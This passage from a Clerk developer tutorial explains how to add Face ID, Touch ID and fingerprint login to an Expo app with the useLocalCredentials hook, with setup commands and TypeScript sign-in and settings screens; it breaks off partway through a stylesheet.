| Legacy Architecture                 |         |           |         |              |
| New Architecture                    |         |           |         |   Required   |

**Passkeys note:** `@clerk/expo-passkeys` v1.0.13 peer dependency is `expo: >=53 <55`. Check npm for version updates.

**Native Apple Sign-In note:** Returns `null` on non-iOS platforms. iOS-only.

## Frequently Asked Questions

---

# How to Add Face ID/Biometric Login to Your Expo+Clerk App
URL: https://clerk.com/articles/how-to-add-face-id-biometric-login-to-your-expo-clerk-app.md
Date: 2026-04-16
Description: Add Face ID, Touch ID, and fingerprint login to your Expo app using Clerk's useLocalCredentials hook. Includes full TypeScript code, cross-platform handling, and security best practices.

Mobile users expect fast, frictionless [authentication](/glossary/authentication). Typing a password on a phone keyboard is slow, error-prone, and increasingly unnecessary. [Biometric authentication](/glossary/biometric-authentication) — Face ID on iPhone, Touch ID on older Apple devices, and fingerprint or face unlock on Android — lets users sign in with a glance or a touch. Cisco's 2022 Trusted Access Report, based on 13 billion authentications from nearly 50 million devices, found that [81% of smartphones have biometrics enabled](https://www.biometricupdate.com/202211/cisco-report-81-percent-of-all-smartphones-have-biometrics-enabled), and the MojoAuth Passwordless Conversion Impact Report found that biometric authentication completes in an [average of 0.7 seconds](https://mojoauth.com/data-and-research-reports/passwordless-conversion-impact-report-2026/).

Authentication friction has a direct cost. Descope reports that [48% of users have abandoned a purchase](https://www.descope.com/blog/post/auth-stats-2026) due to a forgotten password, and Baymard Institute's checkout research puts the average online cart abandonment rate at [70.19%](https://baymard.com/lists/cart-abandonment-rate). When MojoAuth analyzed 523.7 million authentication events, apps that added [passwordless](/glossary/passwordless-login) and biometric sign-in saw [login success rates jump from 67.4% to 97.2%](https://mojoauth.com/data-and-research-reports/passwordless-conversion-impact-report-2026/).

This tutorial walks through adding biometric login to an Expo app using Clerk's `useLocalCredentials()` hook. By the end, you will have a working Expo development build where users sign in with email and password once, then use Face ID (iOS), Touch ID (iOS), or fingerprint (Android) for all subsequent logins.

| Technology                  | Version | Purpose                      |
| --------------------------- | ------- | ---------------------------- |
| Expo SDK                    | 55      | App framework                |
| `@clerk/expo`               | 3.x     | Authentication               |
| `expo-local-authentication` | 17.x    | Biometric prompt API         |
| `expo-secure-store`         | 55.x    | Encrypted credential storage |
| React Native                | 0.83    | Mobile runtime               |
| TypeScript                  | 5.x     | Language                     |

## Understanding biometric authentication on mobile

Before writing code, it helps to understand the two distinct approaches to biometric authentication in mobile apps. They solve different problems and suit different scenarios.

### Local credential storage with biometric gating

This approach stores a user's password credentials in the device's secure enclave — the iOS Keychain or Android Keystore — and uses a biometric prompt to unlock them. The user signs in with a password once. On subsequent visits, the app presents a Face ID or fingerprint prompt. If the biometric check passes, the stored credentials are retrieved and sent to the server to complete a standard password-based sign-in.

Think of it like a browser's password manager, but unlocked with your face or fingerprint instead of a master password. The password still exists — biometrics are a convenience layer that removes the need to type it repeatedly.

Clerk implements this pattern through the [`useLocalCredentials()`](/docs/reference/expo/native-hooks/use-local-credentials) hook, which handles credential storage, biometric verification, and sign-in in a single API.

### Passkeys (FIDO2/WebAuthn)

[Passkeys](/glossary/passkeys) take a fundamentally different approach. Instead of storing a password, the device generates an asymmetric key pair. The private key stays in the secure enclave and never leaves the device. The public key is sent to the server. During authentication, the server sends a challenge, the device uses a biometric prompt to unlock the private key and sign the challenge, and the server verifies the signature against the stored public key.

No password is ever created, stored, or transmitted. Passkeys sync across devices via iCloud Keychain (Apple) or Google Password Manager (Android), and they are phishing-resistant because they are cryptographically bound to a specific domain. The FIDO Alliance's [2025 Passkey Index](https://fidoalliance.org/passkey-index-2025/) found that passkey-based logins succeed 93% of the time compared to 63% for traditional passwords.

Clerk supports passkeys in Expo through the `@clerk/expo-passkeys` package, which provides `user.createPasskey()` for registration and `signIn.passkey()` for authentication.

### When to use each approach

| Feature              | Local Credentials                              | Passkeys                                       |
| -------------------- | ---------------------------------------------- | ---------------------------------------------- |
| Authentication model | Password stored locally, unlocked by biometric | Asymmetric crypto, no password                 |
| Cross-device sync    | No (device-specific)                           | Yes (iCloud/Google sync)                       |
| Phishing resistance  | Low (password still exists)                    | High (domain-bound)                            |
| Setup complexity     | Low (one hook)                                 | High (associated domains, Apple/Google config) |
| Expo SDK 55 support  |                                                |                                                |
| Clerk API            | `useLocalCredentials()`                        | `@clerk/expo-passkeys`                         |

**Local credentials** are the right choice when your app already uses password-based sign-in and you want to add biometric convenience with minimal setup. This is the approach this tutorial implements. **Passkeys** are ideal for new apps going passwordless from the start. Clerk's passkey package currently requires Expo SDK 53 or 54 — a [conceptual overview](#adding-passkey-support-with-clerk) is included later in this article.

## Prerequisites

### Development environment

- **Node.js 22 LTS** — download from [nodejs.org](https://nodejs.org)
- **Expo CLI** — included with `npx expo` (no global install needed)
- **Xcode** — required for iOS development builds (macOS only)
- **Android Studio** — required for Android development builds
- **iOS Simulator** with Face ID support, or a physical iOS device
- **Android emulator** or physical device

### Accounts and services

- **Clerk account** — the free tier works for this tutorial. Sign up at [clerk.com](https://clerk.com).
- **Apple Developer account** — only needed if testing on a physical iOS device. Simulator testing does not require one.

### Why you need a development build (not Expo Go)

> \[!IMPORTANT]
> This is the most common stumbling block. Face ID and biometric credential storage require native modules (`expo-local-authentication`, `expo-secure-store`) that are **not** available in Expo Go. You must use a development build for this entire tutorial.

[Expo](/glossary/expo) Go is a pre-built app with a fixed set of native libraries. It cannot include custom native code like the `NSFaceIDUsageDescription` entry in the iOS `Info.plist` or the `USE_BIOMETRIC` permission in Android's `AndroidManifest.xml`. A [development build](https://docs.expo.dev/develop/development-builds/introduction/) is your own custom version of Expo Go that includes these native modules. JavaScript hot-reload still works the same way — you only need to rebuild when adding or removing native dependencies.

## Setting up the Expo project

### Create a new Expo project

```bash
npx create-expo-app biometric-clerk-app --template blank-typescript
cd biometric-clerk-app
```

This creates a new TypeScript Expo project with the standard file structure.

### Install dependencies

```bash
npx expo install expo-local-authentication expo-secure-store @clerk/expo
```

Each package serves a specific purpose:

- **`expo-local-authentication`** — provides the biometric prompt API (`hasHardwareAsync`, `isEnrolledAsync`, `authenticateAsync`)
- **`expo-secure-store`** — encrypted credential storage using the iOS Keychain and Android EncryptedSharedPreferences
- **`@clerk/expo`** — Clerk's Expo SDK with authentication hooks, including `useLocalCredentials`

> \[!NOTE]
> `expo-local-authentication` is an optional peer dependency of `@clerk/expo`. You only need it if you use the `useLocalCredentials()` hook (imported from the subpath `@clerk/expo/local-credentials`). Since this tutorial uses biometrics, install it here. npm, yarn, and pnpm will not warn or fail if it is absent — the package is native-only and has no effect on Expo web projects.

### Configure biometric permissions

Open `app.json` and add the plugin configuration:

```json
{
  "expo": {
    "name": "biometric-clerk-app",
    "slug": "biometric-clerk-app",
    "scheme": "biometric-clerk-app",
    "plugins": [
      [
        "expo-local-authentication",
        {
          "faceIDPermission": "Allow $(PRODUCT_NAME) to use Face ID for quick sign-in to your account."
        }
      ],
      "expo-secure-store"
    ]
  }
}
```

The `faceIDPermission` string sets the `NSFaceIDUsageDescription` value in the iOS `Info.plist`. iOS requires this string or the app will crash when requesting Face ID access. Apple also rejects App Store submissions that are missing this key. On Android, the `expo-local-authentication` plugin automatically adds the `USE_BIOMETRIC` and `USE_FINGERPRINT` permissions to the `AndroidManifest.xml`.

### Create a development build

Build and run the app on each platform:

```bash
npx expo run:ios
```

This command generates the native iOS project (if it does not exist), compiles it, and launches the app in the iOS Simulator. The first build takes a few minutes. Subsequent rebuilds are faster because only changed native code recompiles.

For Android, run the equivalent command:

```bash
npx expo run:android
```

> \[!TIP]
> **Windows and Linux users:** iOS builds require macOS and Xcode. Use [EAS Build](https://docs.expo.dev/develop/development-builds/create-a-build/) as an alternative: `npx eas build --profile development --platform ios`. The free tier includes 15 iOS and 15 Android builds per month.

**Testing Face ID in the iOS Simulator:** Open the Simulator, go to **Features → Face ID → Enrolled** to enable Face ID. During testing, use **Features → Face ID → Matching Face** to simulate a successful scan or **Non-matching Face** to simulate a failure.

## Setting up Clerk authentication

### Create a Clerk application

1. Sign in to the [Clerk Dashboard](https://dashboard.clerk.com)
2. Select **Create application** (or use an existing one)
3. Under authentication strategies, enable **Password** (Email → Password toggle)
4. Copy your **Publishable Key** from the **API Keys** section

### Configure [environment variables](/glossary/environment-variables)

Create a `.env` file in the project root:

```bash
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_your-key-here
```

Expo requires the `EXPO_PUBLIC_` prefix for client-side environment variables. Replace `pk_test_your-key-here` with your actual Publishable Key from the Clerk Dashboard.

### Configure the Clerk provider

> \[!NOTE]
> **Token storage vs. credential storage:** You will see `expo-secure-store` referenced in two contexts in this tutorial:
>
> 1. **Token cache** (`tokenCache` from `@clerk/expo/token-cache`) — stores Clerk's session [JSON Web Tokens](/glossary/json-web-token) so users stay signed in across app restarts. These tokens refresh on a 50-second interval.
> 2. **Credential storage** (`useLocalCredentials`) — stores the user's email and password behind a biometric gate for quick re-authentication.
>
> These are separate storage entries under different keys. The token cache handles session persistence. Credential storage handles the biometric login convenience.

Create the root layout at `app/_layout.tsx`:

```tsx
import { Slot } from 'expo-router'
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'

export default function RootLayout() {
  const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

  if (!publishableKey) {
    throw new Error('Add EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY to your .env file')
  }

  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <Slot />
    </ClerkProvider>
  )
}
```

The [`ClerkProvider`](/glossary/clerkprovider) wraps the entire app and provides authentication state to all child components. The `tokenCache` prop tells Clerk to use `expo-secure-store` for persisting session tokens securely.

### Build sign-in and authenticated screens

This tutorial uses Expo Router's route group pattern with `useAuth()` and `<Redirect>` for authentication guards. Here is the file structure:

```text
app/
├── _layout.tsx          ← Root: ClerkProvider + Slot
├── (auth)/
│   ├── _layout.tsx      ← Guard: redirects signed-in users to "/"
│   └── sign-in.tsx      ← Sign-in screen
└── (home)/
    ├── _layout.tsx      ← Guard: redirects signed-out users to sign-in
    └── index.tsx         ← Authenticated home screen
```

Create the auth route guard at `app/(auth)/_layout.tsx`:

```tsx
import { Redirect, Stack } from 'expo-router'
import { useAuth } from '@clerk/expo'

export default function AuthLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (isSignedIn) {
    return <Redirect href="/" />
  }

  return <Stack />
}
```

Create the home route guard at `app/(home)/_layout.tsx`:

```tsx
import { Redirect, Stack } from 'expo-router'
import { useAuth } from '@clerk/expo'

export default function HomeLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (!isSignedIn) {
    return <Redirect href="/(auth)/sign-in" />
  }

  return <Stack />
}
```

Both guards check `isLoaded` first and return `null` until Clerk initializes. This prevents a flash of the wrong content while the authentication state loads.

Create a minimal sign-in screen at `app/(auth)/sign-in.tsx`:

```tsx
import { useState } from 'react'
import { View, Text, TextInput, Pressable, StyleSheet } from 'react-native'
import { useSignIn } from '@clerk/expo'

export default function SignIn() {
  const { signIn, setActive, isLoaded } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [error, setError] = useState('')

  const handleSignIn = async () => {
    if (!isLoaded || !signIn) return

    try {
      const result = await signIn.create({
        identifier: email,
        password,
      })

      if (result.status === 'complete') {
        await setActive({ session: result.createdSessionId })
      }
    } catch (err: any) {
      setError(err.errors?.[0]?.message || 'Sign-in failed. Check your credentials.')
    }
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Sign In</Text>

      {error ? <Text style={styles.error}>{error}</Text> : null}

      <TextInput
        style={styles.input}
        placeholder="Email"
        value={email}
        onChangeText={setEmail}
        autoCapitalize="none"
        keyboardType="email-address"
      />

      <TextInput
        style={styles.input}
        placeholder="Password"
        value={password}
        onChangeText={setPassword}
        secureTextEntry
      />

      <Pressable style={styles.button} onPress={handleSignIn}>
        <Text style={styles.buttonText}>Sign In</Text>
      </Pressable>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, justifyContent: 'center', padding: 24 },
  title: { fontSize: 28, fontWeight: 'bold', marginBottom: 24, textAlign: 'center' },
  error: { color: '#ef4444', marginBottom: 12, textAlign: 'center' },
  input: {
    borderWidth: 1,
    borderColor: '#d1d5db',
    borderRadius: 8,
    padding: 14,
    marginBottom: 12,
    fontSize: 16,
  },
  button: {
    backgroundColor: '#6c47ff',
    borderRadius: 8,
    padding: 14,
    alignItems: 'center',
    marginTop: 4,
  },
  buttonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
})
```

Create the authenticated home screen at `app/(home)/index.tsx`:

```tsx
import { View, Text, Pressable, StyleSheet } from 'react-native'
import { useAuth, useUser } from '@clerk/expo'

export default function Home() {
  const { signOut } = useAuth()
  const { user } = useUser()

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Welcome</Text>
      <Text style={styles.subtitle}>{user?.primaryEmailAddress?.emailAddress}</Text>

      <Pressable style={styles.button} onPress={() => signOut()}>
        <Text style={styles.buttonText}>Sign Out</Text>
      </Pressable>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, justifyContent: 'center', padding: 24 },
  title: { fontSize: 28, fontWeight: 'bold', textAlign: 'center' },
  subtitle: { fontSize: 16, color: '#6b7280', textAlign: 'center', marginTop: 8, marginBottom: 32 },
  button: {
    backgroundColor: '#ef4444',
    borderRadius: 8,
    padding: 14,
    alignItems: 'center',
  },
  buttonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
})
```

> \[!NOTE]
> For a complete sign-up flow with email verification, see the [Clerk Expo quickstart](/docs/quickstarts/expo). This tutorial focuses on the biometric layer.

At this point, you have a working Expo app with Clerk email/password sign-in. Run `npx expo start` to verify everything works before adding biometric login.

## Adding biometric login with Clerk's useLocalCredentials

This is the core section of the tutorial. Clerk's [`useLocalCredentials()`](/docs/reference/expo/native-hooks/use-local-credentials) hook handles the entire biometric credential flow — storing credentials, verifying biometrics, and signing in — through a single API.

### How useLocalCredentials works

The flow has three stages:

1. **First sign-in:** User signs in with email and password. The app offers to store credentials behind a biometric gate.
2. **Credential storage:** `setCredentials()` encrypts the email and password in the device's secure enclave (iOS Keychain / Android Keystore), protected by biometric authentication.
3. **Subsequent sign-ins:** On next launch, the app detects stored credentials and shows a biometric sign-in button. The user taps it, verifies with Face ID or fingerprint, and the stored credentials are retrieved and sent to Clerk to complete the sign-in.

Import the hook from `@clerk/expo/local-credentials`:

```tsx
import { useLocalCredentials } from '@clerk/expo/local-credentials'
```

The hook returns:

| Property              | Type                                          | Description                                                                                                |
| --------------------- | --------------------------------------------- | ---------------------------------------------------------------------------------------------------------- |
| `hasCredentials`      | `boolean`                                     | Whether any credentials are stored on this device                                                          |
| `userOwnsCredentials` | `boolean`                                     | Whether stored credentials belong to the current signed-in user. Always `false` when no user is signed in. |
| `biometricType`       | `'face-recognition' \| 'fingerprint' \| null` | The type of biometric hardware available, or `null` if none                                                |
| `setCredentials`      | `(params) => Promise<void>`                   | Stores credentials behind biometric gate. Accepts `{ identifier: string, password: string }`.              |
| `clearCredentials`    | `() => Promise<void>`                         | Removes stored credentials from the device                                                                 |
| `authenticate`        | `() => Promise<SignInResource>`               | Triggers biometric prompt, retrieves stored credentials, and performs a password sign-in                   |

### Check biometric availability

Before showing biometric options, verify that the device has biometric hardware and that the user has enrolled at least one biometric:

```tsx
import * as LocalAuthentication from 'expo-local-authentication'

async function checkBiometricAvailability(): Promise<{
  available: boolean
  biometricTypes: LocalAuthentication.AuthenticationType[]
}> {
  const hasHardware = await LocalAuthentication.hasHardwareAsync()
  const isEnrolled = await LocalAuthentication.isEnrolledAsync()

  if (!hasHardware || !isEnrolled) {
    return { available: false, biometricTypes: [] }
  }

  const biometricTypes = await LocalAuthentication.supportedAuthenticationTypesAsync()

  return { available: true, biometricTypes }
}
```

Handle edge cases:

- **No hardware:** Hide the biometric option entirely.
- **Hardware but not enrolled:** Show a message suggesting the user set up Face ID or fingerprint in their device settings.
- **Permission denied (iOS):** After a user cancels the Face ID permission dialog, `hasHardwareAsync()` returns `false` on subsequent calls. The user must re-enable Face ID for the app in **Settings → Face ID & Passcode**.

### Store credentials after first sign-in

After a successful password sign-in, check whether biometrics are available and offer to store credentials. Update the sign-in screen to include this flow:

```tsx
import { useState } from 'react'
import { View, Text, TextInput, Pressable, Alert, StyleSheet } from 'react-native'
import { useSignIn } from '@clerk/expo'
import { useLocalCredentials } from '@clerk/expo/local-credentials'
import * as LocalAuthentication from 'expo-local-authentication'

export default function SignIn() {
  const { signIn, setActive, isLoaded } = useSignIn()
  const { hasCredentials, biometricType, setCredentials, clearCredentials, authenticate } =
    useLocalCredentials()

  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [error, setError] = useState('')
  const [loading, setLoading] = useState(false)

  const handlePasswordSignIn = async () => {
    if (!isLoaded || !signIn) return
    setLoading(true)
    setError('')

    try {
      const result = await signIn.create({
        identifier: email,
        password,
      })

      if (result.status === 'complete') {
        // Check biometric availability before activating the session
        const hasHardware = await LocalAuthentication.hasHardwareAsync()
        const isEnrolled = await LocalAuthentication.isEnrolledAsync()

        if (hasHardware && isEnrolled && !hasCredentials) {
          const biometricLabel = biometricType === 'face-recognition' ? 'Face ID' : 'fingerprint'

          Alert.alert(
            'Enable Biometric Login',
            `Sign in faster next time with ${biometricLabel}?`,
            [
              {
                text: 'Not Now',
                style: 'cancel',
                onPress: () => setActive({ session: result.createdSessionId }),
              },
              {
                text: 'Enable',
                onPress: async () => {
                  try {
                    await setCredentials({ identifier: email, password })
                  } catch {
                    // User cancelled biometric enrollment or error occurred
                  }
                  await setActive({ session: result.createdSessionId })
                },
              },
            ],
            { cancelable: false },
          )
        } else {
          await setActive({ session: result.createdSessionId })
        }
      }
    } catch (err: any) {
      setError(err.errors?.[0]?.message || 'Sign-in failed. Check your credentials.')
    } finally {
      setLoading(false)
    }
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Sign In</Text>

      {error ? <Text style={styles.error}>{error}</Text> : null}

      <TextInput
        style={styles.input}
        placeholder="Email"
        value={email}
        onChangeText={setEmail}
        autoCapitalize="none"
        keyboardType="email-address"
      />

      <TextInput
        style={styles.input}
        placeholder="Password"
        value={password}
        onChangeText={setPassword}
        secureTextEntry
      />

      <Pressable
        style={[styles.button, loading && styles.buttonDisabled]}
        onPress={handlePasswordSignIn}
        disabled={loading}
      >
        <Text style={styles.buttonText}>{loading ? 'Signing in...' : 'Sign In'}</Text>
      </Pressable>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, justifyContent: 'center', padding: 24 },
  title: { fontSize: 28, fontWeight: 'bold', marginBottom: 24, textAlign: 'center' },
  error: { color: '#ef4444', marginBottom: 12, textAlign: 'center' },
  input: {
    borderWidth: 1,
    borderColor: '#d1d5db',
    borderRadius: 8,
    padding: 14,
    marginBottom: 12,
    fontSize: 16,
  },
  button: {
    backgroundColor: '#6c47ff',
    borderRadius: 8,
    padding: 14,
    alignItems: 'center',
    marginTop: 4,
  },
  buttonDisabled: { opacity: 0.6 },
  buttonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
})
```

The `setCredentials` call stores the identifier (email) and password in `expo-secure-store`. The password is stored with `requireAuthentication: true`, meaning it is protected by the device's biometric gate. The identifier is stored without biometric protection so the app can check `hasCredentials` without triggering a prompt.

### Implement biometric sign-in

Now add the biometric sign-in button for returning users. When the sign-in screen mounts, check `hasCredentials` and `biometricType`. If both are truthy, show a biometric sign-in option alongside the password form.

> \[!WARNING]
> **Do not gate the biometric sign-in button on `userOwnsCredentials` on the sign-in screen.** When no user is signed in, `userOwnsCredentials` is always `false` — the hook checks the current `user` object, which is `null` on the sign-in screen. Using it here would prevent the biometric button from ever appearing. Use `hasCredentials && biometricType` instead.
>
> Reserve `userOwnsCredentials` for **authenticated screens** like a settings page, where you need to verify the stored credentials belong to the currently signed-in user.

Here is the complete sign-in screen with biometric sign-in, password fallback, and error recovery for biometric enrollment changes:

```tsx
import { useState, useCallback } from 'react'
import { View, Text, TextInput, Pressable, Alert, StyleSheet } from 'react-native'
import { useSignIn } from '@clerk/expo'
import { useLocalCredentials } from '@clerk/expo/local-credentials'
import * as LocalAuthentication from 'expo-local-authentication'

export default function SignIn() {
  const { signIn, setActive, isLoaded } = useSignIn()
  const { hasCredentials, biometricType, setCredentials, clearCredentials, authenticate } =
    useLocalCredentials()

  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [error, setError] = useState('')
  const [loading, setLoading] = useState(false)

  const biometricLabel = biometricType === 'face-recognition' ? 'Face ID' : 'Fingerprint'

  // --- Biometric sign-in ---
  const handleBiometricSignIn = useCallback(async () => {
    setLoading(true)
    setError('')

    try {
      const result = await authenticate()

      if (result.status === 'complete') {
        await setActive({ session: result.createdSessionId })
      }
    } catch (err) {
      // Biometric enrollment may have changed (new fingerprint added,
      // Face ID reset). The password stored in expo-secure-store becomes
      // inaccessible, but hasCredentials remains true because the
      // identifier key is stored without biometric protection.
      // Clear both keys to reset state.
      await clearCredentials()
      setError(
        'Your biometric settings have changed. Please sign in with your password to re-enable biometric login.',
      )
    } finally {
      setLoading(false)
    }
  }, [authenticate, clearCredentials, setActive])

  // --- Password sign-in ---
  const handlePasswordSignIn = async () => {
    if (!isLoaded || !signIn) return
    setLoading(true)
    setError('')

    try {
      const result = await signIn.create({
        identifier: email,
        password,
      })

      if (result.status === 'complete') {
        // Check biometric availability before activating session
        const hasHardware = await LocalAuthentication.hasHardwareAsync()
        const isEnrolled = await LocalAuthentication.isEnrolledAsync()

        if (hasHardware && isEnrolled && !hasCredentials) {
          Alert.alert(
            'Enable Biometric Login',
            `Sign in faster next time with ${biometricLabel}?`,
            [
              {
                text: 'Not Now',
                style: 'cancel',
                onPress: () => setActive({ session: result.createdSessionId }),
              },
              {
                text: 'Enable',
                onPress: async () => {
                  try {
                    await setCredentials({ identifier: email, password })
                  } catch {
                    // User cancelled or biometrics unavailable
                  }
                  await setActive({ session: result.createdSessionId })
                },
              },
            ],
            { cancelable: false },
          )
        } else {
          await setActive({ session: result.createdSessionId })
        }
      }
    } catch (err: any) {
      setError(err.errors?.[0]?.message || 'Sign-in failed. Check your credentials.')
    } finally {
      setLoading(false)
    }
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Sign In</Text>

      {error ? <Text style={styles.error}>{error}</Text> : null}

      {/* Biometric sign-in button — shown for returning users */}
      {hasCredentials && biometricType ? (
        <Pressable
          style={[styles.biometricButton, loading && styles.buttonDisabled]}
          onPress={handleBiometricSignIn}
          disabled={loading}
        >
          <Text style={styles.biometricButtonText}>Sign in with {biometricLabel}</Text>
        </Pressable>
      ) : null}

      {hasCredentials && biometricType ? (
        <Text style={styles.divider}>or sign in with password</Text>
      ) : null}

      <TextInput
        style={styles.input}
        placeholder="Email"
        value={email}
        onChangeText={setEmail}
        autoCapitalize="none"
        keyboardType="email-address"
      />

      <TextInput
        style={styles.input}
        placeholder="Password"
        value={password}
        onChangeText={setPassword}
        secureTextEntry
      />

      <Pressable
        style={[styles.button, loading && styles.buttonDisabled]}
        onPress={handlePasswordSignIn}
        disabled={loading}
      >
        <Text style={styles.buttonText}>{loading ? 'Signing in...' : 'Sign In with Password'}</Text>
      </Pressable>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, justifyContent: 'center', padding: 24 },
  title: {
    fontSize: 28,
    fontWeight: 'bold',
    marginBottom: 24,
    textAlign: 'center',
  },
  error: { color: '#ef4444', marginBottom: 12, textAlign: 'center' },
  biometricButton: {
    backgroundColor: '#1d4ed8',
    borderRadius: 8,
    padding: 16,
    alignItems: 'center',
    marginBottom: 8,
  },
  biometricButtonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
  divider: {
    textAlign: 'center',
    color: '#9ca3af',
    marginVertical: 16,
    fontSize: 14,
  },
  input: {
    borderWidth: 1,
    borderColor: '#d1d5db',
    borderRadius: 8,
    padding: 14,
    marginBottom: 12,
    fontSize: 16,
  },
  button: {
    backgroundColor: '#6c47ff',
    borderRadius: 8,
    padding: 14,
    alignItems: 'center',
    marginTop: 4,
  },
  buttonDisabled: { opacity: 0.6 },
  buttonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
})
```

Key implementation details:

- **`authenticate()` throws on biometric enrollment changes.** When a user adds a new fingerprint or resets Face ID, the biometric-protected password becomes inaccessible. The `authenticate()` function detects the missing password and throws an error. The `catch` block calls `clearCredentials()` to clean up the orphaned identifier key, then shows the password form.
- **`hasCredentials` persists after enrollment changes.** The identifier and password are stored under separate keys. The identifier is stored without biometric protection, so `hasCredentials` remains `true` even when the password is invalidated. Without the `clearCredentials()` call in the catch block, the app would enter an infinite loop: biometric button appears → `authenticate()` throws → biometric button still appears.
- **Password form is always available.** Biometrics are a convenience layer, not a replacement for password sign-in. The password form is shown below the biometric button so users always have a fallback.

### Manage stored credentials

Create a biometric settings component for the authenticated area. This component lets signed-in users enable or disable biometric login.

> \[!IMPORTANT]
> **Sign-out behavior:** Clerk does **not** automatically clear local credentials when `signOut()` is called. This is intentional — credentials persist so the user can use biometric sign-in on their next visit without re-entering their password. Do **not** call `clearCredentials()` in your sign-out handler.
>
> **Where to use `userOwnsCredentials` vs `hasCredentials`:**
>
> - **Sign-in screen (unauthenticated):** Use `hasCredentials` + `biometricType` to gate the biometric button. `userOwnsCredentials` is always `false` here.
> - **Settings screen (authenticated):** Use `userOwnsCredentials` to verify the stored credentials belong to the current user before allowing management operations.
>
> Expose `clearCredentials()` as an explicit user action in a settings screen, not as an automatic side effect of sign-out.

```tsx
import { useState } from 'react'
import {
  View,
  Text,
  TextInput,
  Switch,
  Pressable,
  Modal,
  Alert,
  StyleSheet,
  KeyboardAvoidingView,
  Platform,
} from 'react-native'
import { useUser } from '@clerk/expo'
import { useLocalCredentials } from '@clerk/expo/local-credentials'

export default function BiometricSettings() {
  const { user } = useUser()
  const { hasCredentials, userOwnsCredentials, biometricType, setCredentials, clearCredentials } =
    useLocalCredentials()

  const [loading, setLoading] = useState(false)
  const [showPasswordModal, setShowPasswordModal] = useState(false)
  const [password, setPassword] = useState('')

  if (!biometricType) {
    return (
      <View style={styles.container}>
        <Text style={styles.label}>Biometric login is not available on this device.</Text>
      </View>
    )
  }

  const biometricLabel = biometricType === 'face-recognition' ? 'Face ID' : 'Fingerprint'

  // Stored credentials belong to a different user
  if (hasCredentials && !userOwnsCredentials) {
    return (
      <View style={styles.container}>
        <Text style={styles.label}>
          Biometric login is configured for a different account on this device.
        </Text>
        <Pressable
          style={styles.clearButton}
          onPress={async () => {
            await clearCredentials()
          }}
        >
          <Text style={styles.clearButtonText}>Remove and set up for this account</Text>
        </Pressable>
      </View>
    )
  }

  const handleToggle = async (enabled: boolean) => {
    if (enabled) {
      setPassword('')
      setShowPasswordModal(true)
    } else {
      setLoading(true)
      try {
        await clearCredentials()
      } catch {
        Alert.alert('Error', 'Could not disable biometric login.')
      } finally {
        setLoading(false)
      }
    }
  }

  const handleSubmitPassword = async () => {
    if (!password) return

    setShowPasswordModal(false)
    setLoading(true)
    try {
      await setCredentials({
        identifier: user?.primaryEmailAddress?.emailAddress || '',
        password,
      })
    } catch {
      Alert.alert('Error', 'Could not enable biometric login. Verify your biometric settings.')
    } finally {
      setPassword('')
      setLoading(false)
    }
  }

  const handleCancelModal = () => {
    setPassword('')
    setShowPasswordModal(false)
  }

  return (
    <View style={styles.container}>
      <View style={styles.row}>
        <Text style={styles.label}>Sign in with {biometricLabel}</Text>
        <Switch value={userOwnsCredentials} onValueChange={handleToggle} disabled={loading} />
      </View>
      <Text style={styles.description}>
        {userOwnsCredentials
          ? `${biometricLabel} login is enabled. You can sign in without typing your password.`
          : `Enable ${biometricLabel} to sign in faster on this device.`}
      </Text>

      <Modal
        visible={showPasswordModal}
        transparent
        animationType="fade"
        onRequestClose={handleCancelModal}
      >
        <KeyboardAvoidingView
          behavior={Platform.OS === 'ios' ? 'padding' : 'height'}
          style={styles.modalOverlay}
        >
          <View style={styles.modalContent}>
            <Text style={styles.modalTitle}>Enable Biometric Login</Text>
            <Text style={styles.modalMessage}>
              Enter your password to enable {biometricLabel} login:
            </Text>
            <TextInput
              style={styles.modalInput}
              placeholder="Password"
              secureTextEntry
              autoFocus
              value={password}
              onChangeText={setPassword}
              onSubmitEditing={handleSubmitPassword}
            />
            <View style={styles.modalButtons}>
              <Pressable style={styles.modalButton} onPress={handleCancelModal}>
                <Text style={styles.modalCancelText}>Cancel</Text>
              </Pressable>
              <Pressable
                style={[
                  styles.modalButton,
                  styles.modalSubmitButton,
                  !password && styles.modalSubmitButtonDisabled,
                ]}
                onPress={handleSubmitPassword}
                disabled={!password}
              >
                <Text style={styles.modalSubmitText}>Enable</Text>
              </Pressable>
            </View>
          </View>
        </KeyboardAvoidingView>
      </Modal>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { padding: 16 },
  row: {
    flexDirection: 'row',
    justifyContent: 'space-between',
    alignItems: 'center',
    marginBottom: 8,
  },
  label: { fontSize: 16, fontWeight: '500' },
  description: { fontSize: 14, color: '#6b7280' },
  clearButton: {
    marginTop: 12,
    padding: 12,
    backgroundColor: '#fee2e2',
    borderRadius: 8,
    alignItems: 'center',
  },
  clearButtonText: { color: '#dc2626', fontWeight: '500' },
  modalOverlay: {
    flex: 1,
    backgroundColor: 'rgba(0, 0, 0, 0.5)',
    justifyContent: 'center',
    alignItems: 'center',
  },
  modalContent: {
    backgroundColor: '#fff',
    borderRadius: 14,
    padding: 24,
    width: '85%',
    maxWidth: 340,
  },
  modalTitle: {
    fontSize: 17,
    fontWeight: '600',
    textAlign: 'center',
  },
  modalMessage: {
    fontSize: 14,
